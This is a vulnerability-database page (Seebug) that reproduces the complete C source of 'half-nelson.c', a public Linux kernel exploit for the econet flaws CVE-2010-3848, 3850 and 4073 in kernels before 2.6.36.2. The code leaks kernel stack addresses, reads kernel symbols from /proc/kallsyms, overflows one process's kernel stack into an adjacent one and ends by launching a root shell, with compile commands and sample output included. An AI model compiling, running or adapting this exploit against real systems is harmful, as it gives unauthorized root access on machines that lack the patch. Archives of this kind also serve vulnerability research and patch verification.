Lucene search

K
seebugRootSSV:72066
HistoryJul 01, 2014 - 12:00 a.m.

Linux Kernel < 2.6.36.2 - Econet Privilege Escalation Exploit

2014-07-0100:00:00
Root
www.seebug.org
44
linux kernel exploit
econet privilege escalation
buffer overflow
cve-2010-3848
cve-2010-3850
cve-2010-4073
kernel escalation
ubuntu 10.04 lts
econet vulnerability

EPSS

0

Percentile

10.1%

No description provided by source.


                                                /*
 * half-nelson.c
 *
 * Linux Kernel &#60; 2.6.36.2 Econet Privilege Escalation Exploit
 * Jon Oberheide &#60;[email protected]&#62;
 * http://jon.oberheide.org
 * 
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
 *
 *   Stack-based buffer overflow in the econet_sendmsg function in 
 *   net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an 
 *   econet address is configured, allows local users to gain privileges by 
 *   providing a large number of iovec structures.
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850
 *
 *   The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel 
 *   before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which 
 *   allows local users to bypass intended access restrictions and configure 
 *   econet addresses via an SIOCSIFADDR ioctl call.
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073
 *
 *   The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not 
 *   initialize certain structures, which allows local users to obtain 
 *   potentially sensitive information from kernel stack memory.
 *
 * Usage:
 *
 *   $ gcc half-nelson.c -o half-nelson -lrt
 *   $ ./half-nelson
 *   [+] looking for symbols...
 *   [+] resolved symbol commit_creds to 0xffffffff81088ad0
 *   [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0
 *   [+] resolved symbol ia32_sysret to 0xffffffff81046692
 *   [+] spawning children to achieve adjacent kstacks...
 *   [+] found parent kstack at 0xffff88001c6ca000
 *   [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000
 *   [+] lower child spawning a helper...
 *   [+] lower child calling compat_sys_wait4 on helper...
 *   [+] helper going to sleep...
 *   [+] upper child triggering stack overflow...
 *   [+] helper woke up
 *   [+] lower child returned from compat_sys_wait4
 *   [+] parent&#39;s restart_block has been clobbered
 *   [+] escalating privileges...
 *   [+] launching root shell!
 *   # id
 *   uid=0(root) gid=0(root)
 *
 * Notes:
 *
 *   This exploit leverages three vulnerabilities to escalate privileges. 
 *   The primary vulnerability is a kernel stack overflow, not a stack buffer 
 *   overflow as the CVE description incorrectly states. I believe this is the
 *   first public exploit for a kernel stack overflow, and it turns out to be 
 *   a bit tricky due to some particulars of the econet vulnerability. A full 
 *   breakdown of the exploit is forthcoming.
 *
 *   Tested on Ubuntu 10.04 LTS (2.6.32-21-generic).
 */

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;stdint.h&#62;
#include &#60;stddef.h&#62;
#include &#60;string.h&#62;
#include &#60;unistd.h&#62;
#include &#60;errno.h&#62;
#include &#60;fcntl.h&#62;
#include &#60;limits.h&#62;
#include &#60;syscall.h&#62;
#include &#60;inttypes.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;sys/wait.h&#62;
#include &#60;sys/ioctl.h&#62;
#include &#60;sys/mman.h&#62;
#include &#60;sys/ipc.h&#62;
#include &#60;sys/sem.h&#62;
#include &#60;sys/stat.h&#62;
#include &#60;sys/mman.h&#62;
#include &#60;sys/resource.h&#62;
#include &#60;sys/syscall.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;net/if.h&#62;

#define IOVS           446
#define NPROC          1024
#define KSTACK_SIZE    8192

#define KSTACK_UNINIT  0
#define KSTACK_UPPER   1
#define KSTACK_LOWER   2
#define KSTACK_DIE     3
#define KSTACK_PARENT  4
#define KSTACK_CLOBBER 5

#define LEAK_BASE      0xffff880000000000
#define LEAK_TOP       0xffff8800c0000000
#define LEAK_DEPTH     500
#define LEAK_OFFSET    32 

#define NR_IPC         0x75
#define NR_WAIT4       0x72
#define SEMCTL         0x3

#ifndef PF_ECONET
#define PF_ECONET      19
#endif

#define STACK_OFFSET   6
#define RESTART_OFFSET 40

struct ec_addr {
	unsigned char station;
	unsigned char net;
};

struct sockaddr_ec {
	unsigned short sec_family;
	unsigned char port;
	unsigned char cb;
	unsigned char type;
	struct ec_addr addr;
	unsigned long cookie;
};

struct ipc64_perm {
	uint32_t key;
	uint32_t uid;
	uint32_t gid;
	uint32_t cuid;
	uint32_t cgid;
	uint32_t mode;
	uint16_t seq;
	uint16_t __pad2;
	unsigned long __unused1;
	unsigned long __unused2;
};

struct semid64_ds {
	struct ipc64_perm sem_perm;
	unsigned long sem_otime;
	unsigned long __unused1;
	unsigned long sem_ctime;
	unsigned long __unused;
	unsigned long sem_nsems;
	unsigned long __unused3;
	unsigned long __unused4;
};

union semun {
	int val;
	struct semid_ds *buf;
	unsigned short *array;
	struct seminfo *__buf;
};

struct region {
	unsigned long parent;
	unsigned long addrs[NPROC];
};
struct region *region;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long ia32_sysret;
 
void __attribute__((regparm(3)))
kernel_code(void)
{
	commit_creds(prepare_kernel_cred(0));
}

void
payload_parent(void)
{
	asm volatile (
		&#34;mov $kernel_code, %rax\n&#34;
		&#34;call *%rax\n&#34;
	);
}

void
payload_child(void)
{
	asm volatile (
		&#34;movq $payload_parent, (%0)\n&#34;
		&#34;jmpq *%1\n&#34;
		:
		: &#34;r&#34;(region-&#62;parent + RESTART_OFFSET), &#34;r&#34;(ia32_sysret)
	);
}

unsigned long
get_kstack(void)
{
	int i, size, offset;
	union semun *arg;
	struct semid_ds dummy;
	struct semid64_ds *leaked;
	char *stack_start, *stack_end;
	unsigned char *p;
	unsigned long kstack, *ptr;

	/* make sure our argument is 32-bit accessible */
	arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
	if (arg == MAP_FAILED) {
		printf(&#34;[-] failure mapping memory, aborting!\n&#34;);
		exit(1);
	}

	/* map a fake stack to use during syscall */
	stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
	if (stack_start == MAP_FAILED) {
		printf(&#34;[-] failure mapping memory, aborting!\n&#34;);
		exit(1);
	}
	stack_end = stack_start + 4096;

	memset(arg, 0, sizeof(union semun));
	memset(&dummy, 0, sizeof(struct semid_ds));
	arg-&#62;buf = &dummy;

	/* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */
	asm volatile (
		&#34;push %%rax\n&#34;
		&#34;push %%rbx\n&#34;
		&#34;push %%rcx\n&#34;
		&#34;push %%rdx\n&#34;
		&#34;push %%rsi\n&#34;
		&#34;push %%rdi\n&#34;
		&#34;movl %0, %%eax\n&#34;
		&#34;movl %1, %%ebx\n&#34;
		&#34;movl %2, %%ecx\n&#34;
		&#34;movl %3, %%edx\n&#34;
		&#34;movl %4, %%esi\n&#34;
		&#34;movq %5, %%rdi\n&#34;
		&#34;movq %%rsp, %%r8\n&#34;
		&#34;movq %6, %%rsp\n&#34;
		&#34;push %%r8\n&#34;
		&#34;int $0x80\n&#34;
		&#34;pop %%r8\n&#34;
		&#34;movq %%r8, %%rsp\n&#34;
		&#34;pop %%rdi\n&#34;
		&#34;pop %%rsi\n&#34;
		&#34;pop %%rdx\n&#34;
		&#34;pop %%rcx\n&#34;
		&#34;pop %%rbx\n&#34;
		&#34;pop %%rax\n&#34;
		:
		: &#34;r&#34;(NR_IPC), &#34;r&#34;(SEMCTL), &#34;r&#34;(0), &#34;r&#34;(0), &#34;r&#34;(IPC_SET), &#34;r&#34;(arg), &#34;r&#34;(stack_end)
		: &#34;memory&#34;, &#34;rax&#34;, &#34;rbx&#34;, &#34;rcx&#34;, &#34;rdx&#34;, &#34;rsi&#34;, &#34;rdi&#34;, &#34;r8&#34;
	);

	/* naively extract a pointer to the kstack from the kstack */
	p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET;
	kstack = *(unsigned long *) p;

	if (kstack &#60; LEAK_BASE || kstack &#62; LEAK_TOP) {
		printf(&#34;[-] failed to leak a suitable kstack address, try again!\n&#34;);
		exit(1);
	}
	if ((kstack % 0x1000) &#60; (0x1000 - LEAK_DEPTH)) {
		printf(&#34;[-] failed to leak a suitable kstack address, try again!\n&#34;);
		exit(1);
	}

	kstack = kstack & ~0x1fff;
	
	return kstack;
}

unsigned long
get_symbol(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy, sym[512];
	int ret = 0;
 
	f = fopen(&#34;/proc/kallsyms&#34;, &#34;r&#34;);
	if (!f) {
		return 0;
	}
 
	while (ret != EOF) {
		ret = fscanf(f, &#34;%p %c %s\n&#34;, (void **) &addr, &dummy, sym);
		if (ret == 0) {
			fscanf(f, &#34;%s\n&#34;, sym);
			continue;
		}
		if (!strcmp(name, sym)) {
			printf(&#34;[+] resolved symbol %s to %p\n&#34;, name, (void *) addr);
			fclose(f);
			return addr;
		}
	}
	fclose(f);
 
	return 0;
}

int
get_adjacent_kstacks(void)
{
	int i, ret, shm, pid, type;

	/* create shared communication channel between parent and its children */
	shm = shm_open(&#34;/halfnelson&#34;, O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
	if (shm &#60; 0) {
		printf(&#34;[-] failed creating shared memory, aborting!\n&#34;);
		exit(1);
	}

	ret = ftruncate(shm, sizeof(struct region));
	if (ret != 0) {
		printf(&#34;[-] failed resizing shared memory, aborting!\n&#34;);
		exit(1);
	}

	region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
	memset(region, KSTACK_UNINIT, sizeof(struct region));

	/* parent kstack self-discovery */
	region-&#62;parent = get_kstack();

	printf(&#34;[+] found parent kstack at 0x%lx\n&#34;, region-&#62;parent);

	/* fork and discover children with adjacently-allocated kernel stacks */
	for (i = 0; i &#60; NPROC; ++i) {
		pid = fork();

		if (pid &#62; 0) {
			type = KSTACK_PARENT;
			continue;
		} else if (pid == 0) {
			/* children do kstack self-discovery */
			region-&#62;addrs[i] = get_kstack();

			/* children sleep until parent has found adjacent children */
			while (1) {
				sleep(1);
				if (region-&#62;addrs[i] == KSTACK_DIE) {
					/* parent doesn&#39;t need us :-( */
					exit(0);
				} else if (region-&#62;addrs[i] == KSTACK_UPPER) {
					/* we&#39;re the upper adjacent process */
					type = KSTACK_UPPER;
					break;
				} else if (region-&#62;addrs[i] == KSTACK_LOWER) {
					/* we&#39;re the lower adjacent process */
					type = KSTACK_LOWER;
					break;
				}
			}
			break;
		} else {
			printf(&#34;[-] fork failed, aborting!\n&#34;);
			exit(1);
		}
	}

	return type;
}

void
do_parent(void)
{
	int i, j, upper, lower;

	/* parent sleeps until we&#39;ve discovered all the child kstacks */
	while (1) {
		sleep(1);
		for (i = 0; i &#60; NPROC; ++i) {
			if (region-&#62;addrs[i] == KSTACK_UNINIT) {
				break;
			}
		}
		if (i == NPROC) {
			break;
		}
	}

	/* figure out if we have any adjacent child kstacks */
	for (i = 0; i &#60; NPROC; ++i) {
		for (j = 0; j &#60; NPROC; ++j) {
			if (region-&#62;addrs[i] == region-&#62;addrs[j] + KSTACK_SIZE) {
				break;
			}
		}
		if (j != NPROC) {
			break;
		}
	}
	if (i == NPROC && j == NPROC) {
		printf(&#34;[-] failed to find adjacent kstacks, try again!\n&#34;);
		exit(1);
	}

	upper = i;
	lower = j;

	printf(&#34;[+] found adjacent children kstacks at 0x%lx and 0x%lx\n&#34;, region-&#62;addrs[lower], region-&#62;addrs[upper]);

	/* signal to non-adjacent children to die */
	for (i = 0; i &#60; NPROC; ++i) {
		if (i != upper && i != lower) {
			region-&#62;addrs[i] = KSTACK_DIE;
		}
	}

	/* signal adjacent children to continue on */
	region-&#62;addrs[upper] = KSTACK_UPPER;
	region-&#62;addrs[lower] = KSTACK_LOWER;

	/* parent sleeps until child has clobbered the fptr */
	while (1) {
		sleep(1);
		if (region-&#62;parent == KSTACK_CLOBBER) {
			break;
		}
	}

	printf(&#34;[+] escalating privileges...\n&#34;);

	/* trigger our clobbered fptr */
	syscall(__NR_restart_syscall);

	/* our privileges should be escalated now */
	if (getuid() != 0) {
		printf(&#34;[-] privilege escalation failed, aborting!\n&#34;);
		exit(1);
	}

	printf(&#34;[+] launching root shell!\n&#34;);

	execl(&#34;/bin/sh&#34;, &#34;/bin/sh&#34;, NULL);
}

void
do_child_upper(void)
{
	int i, ret, eco_sock;
	struct sockaddr_ec eco_addr;
	struct msghdr eco_msg;
	struct iovec iovs[IOVS];
	struct ifreq ifr;
	char *target;

	/* calculate payload target, skip prologue */
	target = (char *) payload_child;
	target += 4;
	
	/* give lower child a chance to enter its wait4 call */
	sleep(1);

	/* write some zeros */
	for (i = 0; i &#60; STACK_OFFSET; ++i) {
		iovs[i].iov_base = (void *) 0x0;
		iovs[i].iov_len = 0;
	}

	/* overwrite saved ia32_sysret address on stack */
	iovs[STACK_OFFSET].iov_base = (void *) target;
	iovs[STACK_OFFSET].iov_len = 0x0246;

	/* force abort via EFAULT */
	for (i = STACK_OFFSET + 1; i &#60; IOVS; ++i) {
		iovs[i].iov_base = (void *) 0xffffffff00000000;
		iovs[i].iov_len = 0;
	}

	/* create econet socket */
	eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
	if (eco_sock &#60; 0) {
		printf(&#34;[-] failed creating econet socket, aborting!\n&#34;);
		exit(1);
	}

	memset(&ifr, 0, sizeof(ifr));
	strcpy(ifr.ifr_name, &#34;lo&#34;);

	/* trick econet into associated with the loopback */
	ret = ioctl(eco_sock, SIOCSIFADDR, &ifr);
	if (ret != 0) {
		printf(&#34;[-] failed setting interface address, aborting!\n&#34;);
		exit(1);
	}

	memset(&eco_addr, 0, sizeof(eco_addr));
	memset(&eco_msg, 0, sizeof(eco_msg));
	eco_msg.msg_name = &eco_addr;
	eco_msg.msg_namelen = sizeof(eco_addr);
	eco_msg.msg_flags = 0;
	eco_msg.msg_iov = &iovs[0];
	eco_msg.msg_iovlen = IOVS;

	printf(&#34;[+] upper child triggering stack overflow...\n&#34;);

	/* trigger the kstack overflow into lower child&#39;s kstack */
	ret = sendmsg(eco_sock, &eco_msg, 0);
	if (ret != -1 || errno != EFAULT) {
		printf(&#34;[-] sendmsg succeeded unexpectedly, aborting!\n&#34;);
		exit(1);
	}

	close(eco_sock);
}

void
do_child_lower(void)
{
	int pid;

	printf(&#34;[+] lower child spawning a helper...\n&#34;);

	/* fork off a helper to wait4 on */
	pid = fork();
	if (pid == 0) {
		printf(&#34;[+] helper going to sleep...\n&#34;);
		sleep(5);
		printf(&#34;[+] helper woke up\n&#34;);
		exit(1);
	}

	printf(&#34;[+] lower child calling compat_sys_wait4 on helper...\n&#34;);

	/* syscall(NR_WAIT4, pid, 0, 0, 0) */
	asm volatile (
		&#34;push %%rax\n&#34;
		&#34;push %%rbx\n&#34;
		&#34;push %%rcx\n&#34;
		&#34;push %%rdx\n&#34;
		&#34;push %%rsi\n&#34;
		&#34;movl %0, %%eax\n&#34;
		&#34;movl %1, %%ebx\n&#34;
		&#34;movl %2, %%ecx\n&#34;
		&#34;movl %3, %%edx\n&#34;
		&#34;movl %4, %%esi\n&#34;
		&#34;int $0x80\n&#34;
		&#34;pop %%rsi\n&#34;
		&#34;pop %%rdx\n&#34;
		&#34;pop %%rcx\n&#34;
		&#34;pop %%rbx\n&#34;
		&#34;pop %%rax\n&#34;
		:
		: &#34;r&#34;(NR_WAIT4), &#34;r&#34;(pid), &#34;r&#34;(0), &#34;r&#34;(0), &#34;r&#34;(0)
		: &#34;memory&#34;, &#34;rax&#34;, &#34;rbx&#34;, &#34;rcx&#34;, &#34;rdx&#34;, &#34;rsi&#34;
	);

	printf(&#34;[+] lower child returned from compat_sys_wait4\n&#34;);

	printf(&#34;[+] parent&#39;s restart_block has been clobbered\n&#34;);

	/* signal parent that our fptr should now be clobbered */
	region-&#62;parent = KSTACK_CLOBBER;
}

int
main(int argc, char **argv)
{
	int type;

	if (sizeof(unsigned long) != 8) {
		printf(&#34;[-] x86_64 only, sorry!\n&#34;);
		exit(1);
	}

	printf(&#34;[+] looking for symbols...\n&#34;);
 
	commit_creds = (_commit_creds) get_symbol(&#34;commit_creds&#34;);
	if (!commit_creds) {
		printf(&#34;[-] symbol table not available, aborting!\n&#34;);
		exit(1);
	}
 
	prepare_kernel_cred = (_prepare_kernel_cred) get_symbol(&#34;prepare_kernel_cred&#34;);
	if (!prepare_kernel_cred) {
		printf(&#34;[-] symbol table not available, aborting!\n&#34;);
		exit(1);
	}

	ia32_sysret = get_symbol(&#34;ia32_sysret&#34;);
	if (!ia32_sysret) {
		printf(&#34;[-] symbol table not available, aborting!\n&#34;);
		exit(1);
	}

	printf(&#34;[+] spawning children to achieve adjacent kstacks...\n&#34;);

	type = get_adjacent_kstacks();

	if (type == KSTACK_PARENT) {
		do_parent();
	} else if (type == KSTACK_UPPER) {
		do_child_upper();
	} else if (type == KSTACK_LOWER) {
		do_child_lower();
	}

	return 0;
}